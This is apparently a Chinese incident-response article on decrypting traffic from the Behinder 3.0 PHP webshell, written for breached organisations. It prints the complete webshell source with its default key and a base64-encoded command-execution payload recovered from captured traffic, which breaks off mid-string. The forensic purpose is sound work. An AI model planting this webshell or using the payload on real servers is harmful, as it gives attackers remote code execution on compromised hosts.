base64还原_冰蝎3.0流量分析与还原

希望这篇文章可以真正帮助那些被打穿的单位识别与溯源。

phpshell

与冰蝎2.0在建立连接时随机生成AES密钥同时明文交换不同是，冰蝎3.0的AES密钥为连接密码32位md5值的前16位，默认连接密码rebeyond。该方法保证了全密文传输，但是依然具有一定的特点。

特征：连接content-length =5464or 5484(占比较多)
基于AES加密和base64编码，解密时通过对shell.php内容的截获获取密钥，具体操作如下所示：

以下为冰蝎3.0webshell

<?php 
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");if(!extension_loaded('openssl'))
	{
    
		$t="base64_"."decode";
		$post=$t($post."");for($i=0;$i    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}else
	{
    
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];class C{
    public function __invoke($p) {
    eval($p."");}}
    @call_user_func(new C(),$params);?>

捕获流量如下图：

开始还原流量：
这时候的应急时也要首先获取到webshell的文件，通过提取文件中的key 也就是该密钥为连接密码32位md5值的前16位 作为我们AES的解密密钥

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPS